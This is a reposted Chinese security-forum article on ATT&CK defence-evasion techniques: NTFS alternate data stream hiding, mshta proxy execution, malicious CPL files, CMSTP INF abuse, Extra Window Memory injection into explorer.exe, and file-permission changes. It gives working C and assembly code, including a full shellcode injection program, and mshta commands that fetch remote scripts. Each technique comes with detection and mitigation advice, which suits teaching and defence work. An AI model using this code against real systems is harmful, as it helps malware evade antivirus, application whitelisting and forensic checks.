安全矩阵

 找回密码
 立即注册
搜索
查看: 5424|回复: 0

ATT&CK之防御逃逸(二)

[复制链接]

16

主题

99

帖子

543

积分

高级会员

Rank: 4

积分
543
发表于 2019-12-27 08:04:46 | 显示全部楼层 |阅读模式
转载自:微信公众号:ALpha 天融信阿尔法实验室


接着上一篇继续介绍下面的内容
10、利用NTFS ADS进行数据隐藏原理及代码介绍
        在NTFS文件系统中,每个NTFS格式的分区都包含一个主文件表结构(Master File Table),这个表结构中保存了该分区上每个文件及目录的相关信息。在MFT结构中还保存着文件属性, 如 Extended Attributes (EA) 及 Data(当存在多个数据属性时称为Alternate Data Streams ,交换数据流,即ADS),而用户可以为文件新建交换数据流,并将存储任意二进制数据在其中,如将完整的文件在其中,而在Windows系统的资源管理器中,载体文件不会有任何变化(如文件大小、时间戳),攻击者完全可以利用该特性将完整的文件隐藏在交换流中。
        ADS的应用,这里笔者将举个简单的例子进行说明, 相信读者有通过Internet Explorer下载过可执行文件,然后在运行的时候收到如下图所示的警告,这是其实就是ADS的运用。




在文件下载完成后, IE会在文件上加入一个ADS。该ADS将存储一个标签,以便Windows了解文件是从哪个区域下载的。


可以通过Powershell和stream.exe(sysinternals工具包中有提供)来操作(新增查看修改、删除)文件中的ADS,用如下的命令查看


该文件是经IE下载的,其存在一个名为“Zone.Identfier”的流,其中保存了文件是从IE下载的标示,我们通过将文件复制到真机,再拖回虚拟机再看一下,可以看到同样的文件,其附加的属性已经不存在。


ADS的操作也可以通过CMD命令进行操作,其操作方法如下:

  1. <载体文件路径>:<ADS名称>
复制代码
如使用echo命令创建并写入数据到ADS中:

  1. echo for test > sc.dat:stream
复制代码

可见的是,文件大小为0。使用stream.exe可以看到存在一个名为stream的交换流


攻击者可能会将恶意数据或者二进制文件存储在文件的备用流(ADS)中,而不是直接存储在文件中,这种技术可用于文件隐藏防病毒软件静态扫描主机取证分析等安全手段的绕过
         如下的代码演示在ADS中隐藏完整的文件及存取等操作。
  1. bool set_ads(TCHAR* host_file,TCHAR* payload_filepath)
  2. {
  3.   bool ret = false;
  4.   BYTE read_buf[0x1000];
  5.   DWORD read_cb, write_cb;
  6.   TCHAR finalpath_buf[MAX_PATH * 2];
  7.   HANDLE final_handle = INVALID_HANDLE_VALUE;
  8.   HANDLE payload_handle = INVALID_HANDLE_VALUE;

  9.   wsprintf(finalpath_buf, _TEXT("%s:stream_name"), host_file);
  10.   final_handle = CreateFile(finalpath_buf, FILE_ALL_ACCESS,
  11.     FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  12.   if (final_handle == INVALID_HANDLE_VALUE)
  13.   {
  14.     goto SAFE_EXIT;
  15.   }
  16.   
  17.   payload_handle = CreateFile(payload_filepath, FILE_READ_ACCESS,
  18.     FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  19.   if (payload_handle == INVALID_HANDLE_VALUE)
  20.   {
  21.     goto SAFE_EXIT;
  22.   }

  23.   do
  24.   {
  25.     if (!ReadFile(payload_handle, read_buf, 0x1000, &read_cb, NULL))
  26.     {
  27.       goto SAFE_EXIT;
  28.     }
  29.     if (!WriteFile(final_handle, read_buf, read_cb, &write_cb, NULL) && write_cb != read_cb)
  30.     {
  31.       goto SAFE_EXIT;
  32.     }
  33.     if (read_cb != 0x1000)
  34.     {
  35.       break;
  36.     }
  37.   } while (true);

  38.   
  39.   ret = true;

  40. SAFE_EXIT:
  41.   if (final_handle != INVALID_HANDLE_VALUE)
  42.   {
  43.     CloseHandle(final_handle);
  44.   }
  45.   if (payload_handle != INVALID_HANDLE_VALUE)
  46.   {
  47.     CloseHandle(payload_handle);
  48.   }
  49.   return ret;
  50. }

  51. bool read_ads(TCHAR* host_path, TCHAR* stream_name, TCHAR* save_path)
  52. {
  53.   bool ret = false;
  54.   BYTE read_buf[0x1000];
  55.   DWORD read_cb, write_cb;
  56.   TCHAR finalpath_buf[MAX_PATH * 2];
  57.   HANDLE stream_handle = INVALID_HANDLE_VALUE;
  58.   HANDLE save_handle = INVALID_HANDLE_VALUE;

  59.   wsprintf(finalpath_buf, _TEXT("%s:%s"), host_path, stream_name);
  60.   stream_handle = CreateFile(finalpath_buf, FILE_ALL_ACCESS,
  61.     FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  62.   if (stream_handle == INVALID_HANDLE_VALUE)
  63.   {
  64.     goto SAFE_EXIT;
  65.   }

  66.   save_handle = CreateFile(save_path, FILE_WRITE_ACCESS,
  67.     FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  68.   if (save_handle == INVALID_HANDLE_VALUE)
  69.   {
  70.     goto SAFE_EXIT;
  71.   }

  72.   do
  73.   {
  74.     if (!ReadFile(stream_handle, read_buf, 0x1000, &read_cb, NULL))
  75.     {
  76.       goto SAFE_EXIT;
  77.     }
  78.     if (!WriteFile(save_handle, read_buf, read_cb, &write_cb, NULL) && write_cb != read_cb)
  79.     {
  80.       goto SAFE_EXIT;
  81.     }
  82.     if (read_cb != 0x1000)
  83.     {
  84.       break;
  85.     }
  86.   } while (true);


  87.   ret = true;

  88. SAFE_EXIT:
  89.   if (stream_handle != INVALID_HANDLE_VALUE)
  90.   {
  91.     CloseHandle(stream_handle);
  92.   }
  93.   if (save_handle != INVALID_HANDLE_VALUE)
  94.   {
  95.     CloseHandle(save_handle);
  96.   }
  97.   return ret;
  98. }

  99. int _tmain(int argc, _TCHAR* argv[])
  100. {
  101.   if(set_ads(_TEXT("c:\\windows\\tasks\\sc.dat"), _TEXT("help.txt")))
  102.   {
  103.     _tprintf(_TEXT("set fail!!!\r\n"));
  104.   }

  105.   if(read_ads(_TEXT("c:\\windows\\tasks\\sc.dat"),_TEXT("stream_name"), _TEXT("help_fromads.txt")))
  106.   {
  107.     _tprintf(_TEXT("read fail!!!\r\n"));
  108.   }
  109.   return 0;
  110. }
复制代码
检查及限制方案
1、通过dir /r命令可以显示目录中含有ADS的文件,在找到不合法的交换流后删除掉即可。
2、通过Sysinternals提供的Streams工具来查询文件是否具有ADS,同时可以用该工具删除
3、使用Powershell命令来与ADS交换和操作,如Get-Item,Set-Item,Remove-Item和Get-ChildItem .
参考链接11、Mshta代理执行脚本代码原理及代码介绍
        Mshta.exe 是执行Microsoft HTML 应用程序(HTA)的内置工具,在Windows系统中默认自带该工具。HTA文件的扩展名为“.hta”, HTA是独立的应用程序,他们使用与Internet Explorer相同的模型和技术执行,但是并不通过浏览器进行执行,而在浏览器之外。
        攻击者可以通过制作恶意HTA文件(如带有恶意JavascriptVBScript代码执行)并调用Mshta.exe执行以绕过系统或是反病毒软件提供的应用程序白名单检测数字证书验证等安全检查。
        可以直接调用Mshta.exe并传递脚本代码进行执行:
  1. mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))
复制代码
也可以调用Mshta并传递hta文件URL进行下载执行:
  1. mshta http[:]//webserver/payload[.]hta
复制代码
通过Mshta.exe代理执行脚本代码,可以用于绕过没有阻止其执行的应用程序白名单限制解决方案,由于mshta在Internet Explorer的安全上下文之外执行,因此它也绕过了浏览器安全设置。
        下面将分别列举攻击者的2种利用手段:
        1、 mshta直接执行脚本代码
  1. mshta about:”<script language = “vbscript” src=”http://127.0.0.1/test.vbs”> code </script>
复制代码
在本地搭建http服务器将test.vbs加载进去
执行CMD命令启动mshta
2、 mshta执行hta脚本文件
        构建如下的HTA脚本,其中引用外部的脚本文件
执行情况如下
检查及限制方案检查方法:
1、使用进程监视工具来监视mshta.exe的执行和参数。
2、在命令行中寻找执行原始脚本或混淆脚本的mshta.exe。
3、将mshta.exe的最近调用与已知良好参数的历史执行记录进行对比,已确定异常和潜在的对抗活动。
缓解方案:
1、如果在特定环境中mshta.exe不是必须的, 可以考虑删除或者禁用该组件。
2、修改系统配置或者杀软配置,阻止mshta.exe的执行,或者将该文件移除出应用程序白名单,以防止被潜在的攻击者滥用行为。
参考链接
2、 Introduction to HTML Applications (HTAs):https://docs.microsoft.com/en-us/previous-versions//ms536496(v=vs.85)?redirectedfrom=MSDN

12、控制面板文件代码执行原理及代码介绍
        控制面板的每一项一般都会对应一个.CPL 文件,这些文件存于系统目录下,你可以指定控制面板中要显示的项目,也可以隐藏。当启动控制面板时,Windows\System 文件夹中的.cpl 文件会自动加载。
        以“.CPL”扩展名结尾的文件其实是“.dll”文件,用IDA打开可以发现CPL文件都导出了一个CPLApplet函数
函数CPLApplet是控制面板应用程序的入口点,它被控制面板管理程序自动调用,并且是个回调函数,注意:CPL文件一定要把函数CPLApplet导出,这样控制面板才能找到程序的入口点。
        当启动控制面板时,它会搜索Windows或System32或注册表的相应条目目录下的文件,并把以CPL作为扩展名的文件载入,它调用CPL文件的导出函数CPLApplet(),发送消息给该函数。所以,控制面板应用程序要处理控制面板发送过来的消息,即在函数CPLApplet中进行处理,该函数没有默认的行为。如果一个CPL文件中实现了多个控制面板程序,那么只会有一个CPLApplet函数,它负责所有的控制面板应用程序。
        开启默认规则后会拦截exe和脚本的执行,并没有限制CPL文件,因此可以绕过Windows AppLocker的限制规则。当然也可以绕过一些应用程序白名单
Cpl文件按照dll文件的编写就行,如果只是简单的运行cmd,可以不导出函数CPLApplet。

  1. extern "C" __declspec(dllexport) LONG CPLApplet(HWND hwndCPl, UINT msg, LPARAM lParam1, LPARAM lParam2)
  2. {
  3.      return 0;
  4. }
  5. BOOL APIENTRY DllMain( HMODULE hModule,
  6.             DWORD ul_reason_for_call,
  7.             LPVOID lpReserved
  8.            )
  9. {
  10.   switch (ul_reason_for_call)
  11.   {
  12.   case DLL_PROCESS_ATTACH:
  13.           WinExec("cmd", SW_SHOW);
  14.   case DLL_THREAD_ATTACH:
  15.   case DLL_THREAD_DETACH:
  16.   case DLL_PROCESS_DETACH:
  17.     break;
  18.   }
  19.   return TRUE;
  20. }
复制代码
编译成功后,将dll后缀名改成cpl,并修改注册表项

  1. HKEY hKey;
  2. DWORD dwDisposition;
  3. char path [] = "C:\\testcpl”;
  4. RegCreateKeyExA(HKEY_CURRENT_USER,
  5.               "Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);
  6. RegSetValueExA(hKey, “testcpl.cpl”, 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path))));
复制代码
运行效果图
当运行控制面板时,cmd.exe自动启动。
检查及限制方案
监视和分析与CPL文件关联的项的活动,查找系统上未注册和潜在恶意文件。
将控制面板项的存储和执行限制在受保护目录上,例如C:\Windows
参考链接13、CMSTP配置文件参数利用原理及代码介绍
        CMSTP.exe是用于安装Connection Manager服务配置文件的命令行程序。程序接受INF配置文件作为参数。这项攻击手段的关键点就在于配置文件。攻击者可能会向CMSTP.exe提供受恶意命令感染的INF文件,以脚本(SCT)和DLL的形式执行任意代码。它是一个受信任的Microsoft二进制文件,位于以下两个Windows目录中:
  1. C:\Windows\System32\cmstp.exe
  2. C:\Windows\SysWOW64\cmstp.exe
复制代码
AppLocker默认规则允许在这些文件夹中执行二进制文件,因此我们可以用它来作为bypass的一种方法。使用这个二进制文件可以绕过AppLocker和UAC。因为传输的并不是二进制文件,所以也会绕过一些杀软的白名单。
        配置文件可以通过安装启动CMAK(Connection Manager Administration Kit)来创建,关于CMAK可以通过Microsoft文档进行了解。在这里就不具体演示获得INF文件的过程了,可以通过以下链接获得:INF文件。
     INF文件的内容有很多项,我们想要利用INF文件,只需要保留一些重要的项,以下是简化的INF文件内容

  1. [version]
  2. Signature=$chicago$
  3. AdvancedINF=2.5
  4. [DefaultInstall_SingleUser]
  5. RegisterOCXs=RegisterOCXSection
  6. [RegisterOCXSection]
  7. C:\test.dll
  8. [Strings]
  9. AppAct = "SOFTWARE\Microsoft\Connection Manager"
  10. ServiceName="Pentestlab"
  11. ShortSvcName="Pentestlab"
复制代码
需要注意到的是INF文件的RegisterOCXSection需要包含恶意DLL文件的本地路径或远程执行的WebDAV位置。这样就能从本地或Webdav中加载DLL文件。
从WebDAV服务器实现加载dll需要修改下面内容:
  1. [RegisterOCXSection]
  2. \10.10.10.10webdavAllTheThings.dll
复制代码
命令行:cmstp.exe /s c:\cmstp.inf
        当然,还可以将RegisterOCXSection 换成RunPreSetupCommandsSection,在此项下可以直接执行命令程序,例如:

  1. [version]
  2. Signature=$chicago$
  3. AdvancedINF=2.5
  4. [DefaultInstall_SingleUse
  5. RegisterOCXs=RegisterOCXSection
  6. RunPreSetupCommands=RunPreSetupCommandsSection
  7. [RunPreSetupCommandsSection]
  8. c:\windows\system32\calc.exe
  9. taskkill /IM cmstp.exe /F
  10. [Strings]
  11. AppAct = "SOFTWARE\Microsoft\Connection Manager"
  12. ServiceName="CorpVPN"
  13. ShortSvcName="CorpVPN"
复制代码
运行效果图
  如下图所示,在命令行中执行cmstp 并加入相关参数cmstpdll.inf ,我们预设的dll 就运行在了cmstp进程中,此处或许可能被恶意代码所利用,用以逃避杀软白名单检测及进程检测等  
执行命令,弹出计算器:
检查及限制方案
        1.使用进程监视来检测和分析CMSTP.exe的执行和参数。将最近对CMSTP.exe的调用与已知的参数和已加载文件的历史进行比较,以确定异常和潜在的对抗性活动。
        2. Sysmon事件也可以用来识别CMSTP.exe的潜在威胁。
参考链接
Microsoft文档:https://docs.microsoft.com/en-us ... 2-and-2012/hh831675(v=ws.11)?redirectedfrom=MSDN
14、额外窗口内存注入原理及代码介绍
        在创建窗口之前,基于图形Windows的进程必须注册一个Windows类,该类规定外观和行为。新窗口类的注册可以包括一个请求,请求将多达40个字节的额外窗口内存(EWM)附加到该类的每个实例的分配内存中。该EWM旨在存储特定于该窗口的数据,并具有特定的应用程序编程接口(API)函数来设置和获取其值。
        虽然EWM很小,但它的大小足以存储32位指针,并且经常用于指向Windows过程。EWMI依赖注入到资源管理器托盘窗口内存中,并在恶意软件家族Gapz和PowerLoader中使用多次。然而,在EWM中没有太多的空间。为了规避这个限制,恶意软件将代码写入explorer.exe的共享段中,并使用SetWindowLong和SendNotifyMessage得到一个指向shellcode的函数指针,然后执行它。
        当写入共享段时,恶意软件有两个选项。它能创建一个共享段自己映射到另一个进程(如explorer)中,或者打开一个已存在的共享段。前者有分配堆内存的开销,而且还要调用NtMapViewOfSection等API,因此后者更常用。在恶意代码将shellcode写入共享段后,使用GetWindowLong和SetWindowLong来访问并修改Shell_TrayWnd的额外的窗口内存。GetWindowLong是用于通过32位值作为偏移得到窗口类对象中额外窗口内存,同时使用SetWindowLong能改变指定偏移的值。通过完成这个,恶意代码能改变窗口类中的函数指针,将它指向共享段的shellcode。
        和上述的技术一样,恶意软件需要触发写入的代码。有一些技术是通过调用类似CreateRemoteThread,SetThreadContext,QueueUserAPC这些API来实现的。与其他不同的是,这种技术是通过使用SendNotifyMessage或PostMessage来触发代码执行的。
        一旦执行SendNotifyMessage或PostMessage,Shell_TrayWnd将接收到并将控制移交给SetWindowLong设置的地址。
主程序源代码如下:

  1. HANDLE g_hprocess = NULL;
  2. unsigned char shellcode[100] = { 0, };
  3. DWORD shellcodeSize = sizeof(shellcode);
  4. PVOID mapshellocdeprocess()
  5. {
  6.      HANDLE hSection = NULL;
  7.      OBJECT_ATTRIBUTES hAttributes;
  8.      memset(&hAttributes, 0, sizeof(OBJECT_ATTRIBUTES));
  9.      LARGE_INTEGER maxSize;
  10.      maxSize.HighPart = 0;
  11.      // 保存壳代码与指针
  12.      maxSize.LowPart = sizeof(LONG) * 2 + shellcodeSize;
  13.      NTSTATUS status = NULL;
  14.      if ((status = ZwCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &maxSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != STATUS_SUCCESS)
  15.      {
  16.           printf("[ERROR] ZwCreateSection failed, status : %x\n", status);
  17.           return NULL;
  18.      }
  19.      PVOID sectionBaseAddress = NULL;
  20.      ULONG viewSize = 0;
  21.      SECTION_INHERIT inheritDisposition = ViewShare; //VIEW_SHARE
  22.      // 映射
  23.      if ((status = NtMapViewOfSection(hSection, GetCurrentProcess(), §ionBaseAddress, NULL, NULL, NULL, &viewSize, inheritDisposition, NULL, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS)
  24.      {
  25.           printf("[ERROR] NtMapViewOfSection failed, status : %x\n", status);
  26.           return NULL;
  27.      }
  28.      printf("Section BaseAddress: %p\n", sectionBaseAddress);
  29.      // 切换到映射
  30.      PVOID sectionBaseAddress2 = NULL;
  31.      if ((status = NtMapViewOfSection(hSection, g_hprocess, §ionBaseAddress2, NULL, NULL, NULL, &viewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS)
  32.      {
  33.           printf("[ERROR] NtMapViewOfSection failed, status : %x\n", status);
  34.           return NULL;
  35.      }
  36.      LPVOID shellcode_remote_ptr = sectionBaseAddress2;
  37.      LPVOID shellcode_local_ptr = sectionBaseAddress;
  38.      memcpy(shellcode_local_ptr, shellcode, shellcodeSize);
  39.      printf("Shellcode copied!\n");
  40.      LPVOID handles_remote_ptr = (BYTE*)shellcode_remote_ptr + shellcodeSize;
  41.      LPVOID handles_local_ptr = (BYTE*)shellcode_local_ptr + shellcodeSize;
  42.      PVOID buf_va = (BYTE*)handles_remote_ptr;
  43.      LONG hop1 = (LONG)buf_va + sizeof(LONG);
  44.      LONG shellc_va = (LONG)shellcode_remote_ptr;
  45.      memcpy((BYTE*)handles_local_ptr, &hop1, sizeof(LONG));
  46.      memcpy((BYTE*)handles_local_ptr + sizeof(LONG), &shellc_va, sizeof(LONG));
  47.      //u nmap from the context of current process
  48.      ZwUnmapViewOfSection(GetCurrentProcess(), sectionBaseAddress);
  49.      ZwClose(hSection);
  50.      printf("Section mapped at address: %p\n", sectionBaseAddress2);
  51.      return shellcode_remote_ptr;
  52. }
  53. int main()
  54. {
  55.      // 查找Shell_TrayWnd 外壳类,主要是管理
  56.      HWND hWnd =
  57.           FindWindow(
  58.               L"Shell_TrayWnd",
  59.               NULL
  60.           );
  61.      if (hWnd == NULL)
  62.           return -1;
  63.      DWORD pid = 0;
  64.      LONG nwlong = 0;
  65.      nwlong = GetWindowThreadProcessId(hWnd, &pid);
  66.      // 打开Shell_TrayWnd
  67.      g_hprocess =
  68.           OpenProcess(
  69.               PROCESS_VM_OPERATION | PROCESS_VM_WRITE,
  70.               false,
  71.               pid
  72.           );
  73.      if (g_hprocess == NULL)
  74.           return 0;
  75.      // 映射shellcode
  76.      LPVOID remoteshellcodeptr = mapshellocdeprocess();
  77.      // 设置到额外的窗口内存中
  78.      SetWindowLong(
  79.           hWnd,
  80.           0,
  81.           /*参数三替换值shellcodeptr*/
  82.           (LONG)remoteshellcodeptr
  83.      );
  84.      // 调用窗口过程也就是发送执行shellcode
  85.      SendNotifyMessage(hWnd, WM_PAINT, 0, 0);
  86.      // 这里先sleep等待执行
  87.      Sleep(5000);
  88.      // 恢复原来得数据
  89.      SetWindowLong(hWnd, 0, nwlong);
  90.      SendNotifyMessage(hWnd, WM_PAINT, 0, 0);
  91.      CloseHandle(g_hprocess);
  92. }
复制代码
Payload:
  1. LRESULT CALLBACK SubclassProc(HWND hWnd, UINT uMsg, WPARAM wParam,

  2.           LPARAM lParam) {
  3.      if (uMsg != WM_CLOSE) return 0;
  4.      WinExec_t pWinExec;
  5.      DWORD   szWinExec[2],
  6.           szNotepad[3];
  7.      // WinExec
  8.      szWinExec[0] = 0x456E6957;
  9.      szWinExec[1] = 0x00636578;
  10.      // runs notepad
  11.      szNotepad[0] = *(DWORD*)"note";
  12.      szNotepad[1] = *(DWORD*)"pad\0";
  13.      pWinExec = (WinExec_t)puGetProcAddress(szWinExec);
  14.      if (pWinExec != NULL) {
  15.           pWinExec((LPSTR)szNotepad, SW_SHOW);
  16.      }
  17.      return 0;
  18. }
复制代码
因为需要从OD中复制出来shellcode,放入字符串数组中运行。
所以模块基址的获取和函数的获取需要使用汇编自己获取。
  1. // ===================获取模块基址============================
  2. DWORD puGetModule(const DWORD Hash)
  3. {
  4.   DWORD  nDllBase = 0;
  5.   __asm {
  6.     jmp      start
  7.     /*函数1:遍历PEB_LDR_DATA链表HASH加密*/
  8.   GetModulVA :
  9.     push    ebp;
  10.     mov      ebp, esp;
  11.     sub      esp, 0x20;
  12.     push    edx;
  13.     push    ebx;
  14.     push    edi;
  15.     push    esi;
  16.     mov      ecx, 8;
  17.     mov      eax, 0CCCCCCCCh;
  18.     lea      edi, dword ptr[ebp - 0x20];
  19.     rep stos  dword ptr es : [edi];
  20.     mov      esi, dword ptr fs : [0x30];
  21.     mov      esi, dword ptr[esi + 0x0C];
  22.     mov      esi, dword ptr[esi + 0x1C];
  23.   tag_Modul:
  24.     mov      dword ptr[ebp - 0x8], esi;  // 保存LDR_DATA_LIST_ENTRY
  25.     mov      ebx, dword ptr[esi + 0x20];  // DLL的名称指针(应该指向一个字符串)
  26.     mov      eax, dword ptr[ebp + 0x8];
  27.     push    eax;
  28.     push    ebx;            // +0xC
  29.     call    HashModulVA;
  30.     test    eax, eax;
  31.     jnz      _ModulSucess;
  32.     mov      esi, dword ptr[ebp - 0x8];
  33.     mov      esi, [esi];          // 遍历下一个
  34.     LOOP    tag_Modul
  35.   _ModulSucess :
  36.     mov      esi, dword ptr[ebp - 0x8];
  37.     mov      eax, dword ptr[esi + 0x8];
  38.     pop      esi;
  39.     pop      edi;
  40.     pop      ebx;
  41.     pop      edx;
  42.     mov      esp, ebp;
  43.     pop      ebp;
  44.     ret
  45.     /*函数2:HASH解密算法(宽字符解密)*/
  46. HashModulVA :
  47.   push    ebp;
  48.   mov      ebp, esp;
  49.   sub      esp, 0x04;
  50.   mov      dword ptr[ebp - 0x04], 0x00
  51.   push    ebx;
  52.   push    ecx;
  53.   push    edx;
  54.   push    esi;
  55.   // 获取字符串开始计算
  56.   mov      esi, [ebp + 0x8];
  57.   test    esi, esi;
  58.   jz      tag_failuers;
  59.   xor      ecx, ecx;
  60.   xor      eax, eax;
  61. tag_loops:
  62.   mov      al, [esi + ecx];    // 获取字节加密
  63.   test    al, al;          // 0则退出
  64.   jz      tag_ends;
  65.   mov      ebx, [ebp - 0x04];
  66.   shl      ebx, 0x19;
  67.   mov      edx, [ebp - 0x04];
  68.   shr         edx, 0x07;
  69.   or ebx, edx;
  70.   add      ebx, eax;
  71.   mov[ebp - 0x4], ebx;
  72.   inc      ecx;
  73.   inc      ecx;
  74.   jmp      tag_loops;
  75. tag_ends:
  76.   mov      ebx, [ebp + 0x0C];    // 获取HASH
  77.   mov      edx, [ebp - 0x04];
  78.   xor      eax, eax;
  79.   cmp      ebx, edx;
  80.   jne      tag_failuers;
  81.   mov      eax, 1;
  82.   jmp      tag_funends;
  83. tag_failuers:
  84.   mov      eax, 0;
  85. tag_funends:
  86.   pop      esi;
  87.   pop      edx;
  88.   pop      ecx;
  89.   pop      ebx;
  90.   mov      esp, ebp;
  91.   pop      ebp;
  92.   ret      0x08

  93. start:
  94.   /*主模块*/
  95.   pushad;
  96.   push    Hash;
  97.   call    GetModulVA;
  98.   add      esp, 0x4
  99.   mov      nDllBase, eax;
  100.   popad;
  101. }
  102. return nDllBase;
  103. }

  104. // ===================获取函数地址============================
  105. DWORD puGetProcAddress(const DWORD dllvalues, const DWORD Hash)
  106. {
  107.   DWORD FunctionAddress = 0;
  108.   __asm {
  109.     jmp      start
  110.     // 自定义函数计算Hash且对比返回正确的函数
  111.   GetHashFunVA :
  112.     push    ebp;
  113.     mov      ebp, esp;
  114.     sub      esp, 0x30;
  115.     push    edx;
  116.     push    ebx;
  117.     push    esi;
  118.     push    edi;
  119.     lea      edi, dword ptr[ebp - 0x30];
  120.     mov      ecx, 12;
  121.     mov      eax, 0CCCCCCCCh;
  122.     rep  stos  dword ptr es : [edi];
  123.     // 以上开辟栈帧操作(Debug版本模式)
  124.     mov      eax, [ebp + 0x8];        // ☆ kernel32.dll(MZ)
  125.     mov      dword ptr[ebp - 0x8], eax;
  126.     mov      ebx, [ebp + 0x0c];        // ☆ GetProcAddress Hash值
  127.     mov      dword ptr[ebp - 0x0c], ebx;
  128.     // 获取PE头与RVA及ENT
  129.     mov      edi, [eax + 0x3C];        // e_lfanew
  130.     lea      edi, [edi + eax];        // e_lfanew + MZ = PE
  131.     mov      dword ptr[ebp - 0x10], edi;    // ☆ 保存PE(VA)
  132.     // 获取ENT
  133.     mov      edi, dword ptr[edi + 0x78];    // 获取导出表RVA
  134.     lea      edi, dword ptr[edi + eax];    // 导出表VA
  135.     mov[ebp - 0x14], edi;            // ☆ 保存导出表VA
  136.     // 获取函数名称数量
  137.     mov      ebx, [edi + 0x18];
  138.     mov      dword ptr[ebp - 0x18], ebx;    // ☆ 保存函数名称数量
  139.     // 获取ENT
  140.     mov      ebx, [edi + 0x20];        // 获取ENT(RVA)
  141.     lea      ebx, [eax + ebx];        // 获取ENT(VA)
  142.     mov      dword ptr[ebp - 0x20], ebx;    // ☆ 保存ENT(VA)
  143.     // 遍历ENT 解密哈希值对比字符串
  144.     mov      edi, dword ptr[ebp - 0x18];
  145.     mov      ecx, edi;
  146.     xor      esi, esi;
  147.     mov      edi, dword ptr[ebp - 0x8];
  148.     jmp      _WHILE;
  149.       // 外层大循环
  150.   _WHILE :
  151.     mov      edx, dword ptr[ebp + 0x0c];    // HASH
  152.     push    edx;
  153.     mov      edx, dword ptr[ebx + esi * 4];  // 获取第一个函数名称的RVA
  154.     lea      edx, [edi + edx];        // 获取一个函数名称的VA地址
  155.     push    edx;              // ENT表中第一个字符串地址
  156.     call    _STRCMP;
  157.     cmp      eax, 0;
  158.     jnz      _SUCESS;
  159.     inc      esi;
  160.     LOOP    _WHILE;
  161.     jmp      _ProgramEnd;
  162.       // 对比成功之后获取循环次数(下标)cx保存下标数
  163.   _SUCESS :
  164.     // 获取EOT导出序号表内容
  165.     mov      ecx, esi;
  166.     mov      ebx, dword ptr[ebp - 0x14];
  167.     mov      esi, dword ptr[ebx + 0x24];
  168.     mov      ebx, dword ptr[ebp - 0x8];
  169.     lea      esi, [esi + ebx];        // 获取EOT的VA
  170.     xor      edx, edx;
  171.     mov      dx, [esi + ecx * 2];      // 注意双字 获取序号
  172.     // 获取EAT地址表RVA
  173.     mov      esi, dword ptr[ebp - 0x14];    // Export VA
  174.     mov      esi, [esi + 0x1C];
  175.     mov      ebx, dword ptr[ebp - 0x8];
  176.     lea      esi, [esi + ebx];        // 获取EAT的VA      
  177.     mov      eax, [esi + edx * 4];      // 返回值eax(GetProcess地址)
  178.     lea      eax, [eax + ebx];
  179.     jmp      _ProgramEnd;
  180.    _ProgramEnd:
  181.   pop      edi;
  182.   pop      esi;
  183.   pop      ebx;
  184.   pop      edx;
  185.   mov      esp, ebp;
  186.   pop      ebp;
  187.   ret      0x8;
  188.   // 循环对比HASH值
  189. _STRCMP:
  190.   push    ebp;
  191.   mov      ebp, esp;
  192.   sub      esp, 0x04;
  193.   mov      dword ptr[ebp - 0x04], 0x00;
  194.   push    ebx;
  195.   push    ecx;
  196.   push    edx;
  197.   push    esi;
  198.   // 获取字符串开始计算
  199.   mov      esi, [ebp + 0x8];
  200.   xor      ecx, ecx;
  201.   xor      eax, eax;

  202. tag_loop:
  203.   mov      al, [esi + ecx];    // 获取字节加密
  204.   test    al, al;          // 0则退出
  205.   jz      tag_end;
  206.   mov      ebx, [ebp - 0x04];
  207.   shl      ebx, 0x19;
  208.   mov      edx, [ebp - 0x04];
  209.   shr         edx, 0x07;
  210.   or ebx, edx;
  211.   add      ebx, eax;
  212.   mov[ebp - 0x4], ebx;
  213.   inc      ecx;
  214.   jmp      tag_loop;
  215. tag_end :
  216.   mov      ebx, [ebp + 0x0C];    // 获取HASH
  217.   mov      edx, [ebp - 0x04];
  218.   xor      eax, eax;
  219.   cmp      ebx, edx;
  220.   jne      tag_failuer;
  221.   mov      eax, 1;
  222.   jmp      tag_funend;
  223. tag_failuer:
  224.   mov      eax, 0;
  225. tag_funend:
  226.   pop      esi;
  227.   pop      edx;
  228.   pop      ecx;
  229.   pop      ebx;
  230.   mov      esp, ebp;
  231.   pop      ebp;
  232.   ret      0x08
  233. start:
  234.   pushad;
  235.   push    Hash;            // Hash加密的函数名称
  236.   push    dllvalues;          // 模块基址.dll
  237.   call    GetHashFunVA;        // GetProcess
  238.   mov      FunctionAddress, eax;    // ☆ 保存地址
  239.   popad;
  240. }
  241. return FunctionAddress;
  242. }
复制代码
运行效果图
     当主程序执行时,记事本就会运行,并通过进程树发现,记事本作为explorer.exe的子进程在运行。
检查及限制方案
监视操作EWM(如GetWindowLong和SetWindowLong)相关的API调用。
参考链接15、修改文件权限原理及代码介绍
        文件和目录权限通常由文件或目录所有者指定的自主访问控制列表(DACL)管理。自主访问控制列表(DACL)是一个最普遍类型的访问控制列表(ACL)。在一个DACL(Discretionary Access Control List)中,指出了允许和拒绝某用户或用户组的存取控制列表。当一个进程需要访问安全对象时,系统就会检查DACL来决定进程的访问权。如果一个对象没有DACL,则说明任何人对这个对象都可以拥有完全的访问权限。
        用户可以使用attrib.exe二进制文件修改特定文件的属性。简单地命令attrib +h filename,就是隐藏文件。
        攻击者可以通过修改文件或目录的权限和属性以攻破DACL的设置。著名的WannaCry 就使用了attrib +h和icacls . /grant Everyone:F /T /C /Q 隐藏其某些文件并授予所有用户完全访问控制权限
        对ICacls详细参数可参考:
        对attrib详细参数可参考:
从这些功能上看,通过修改文件属性和权限,可以针对绕过文件监视,文件系统访问控制。
运行效果图
ICacls查看目录和文件的权限
隐藏文件
检查及限制方案
        1.监视和调查修改DACL和文件/目录所有权的操作,例如icacls的使用。
        2.考虑对二进制或配置文件的目录权限更改进行审核。
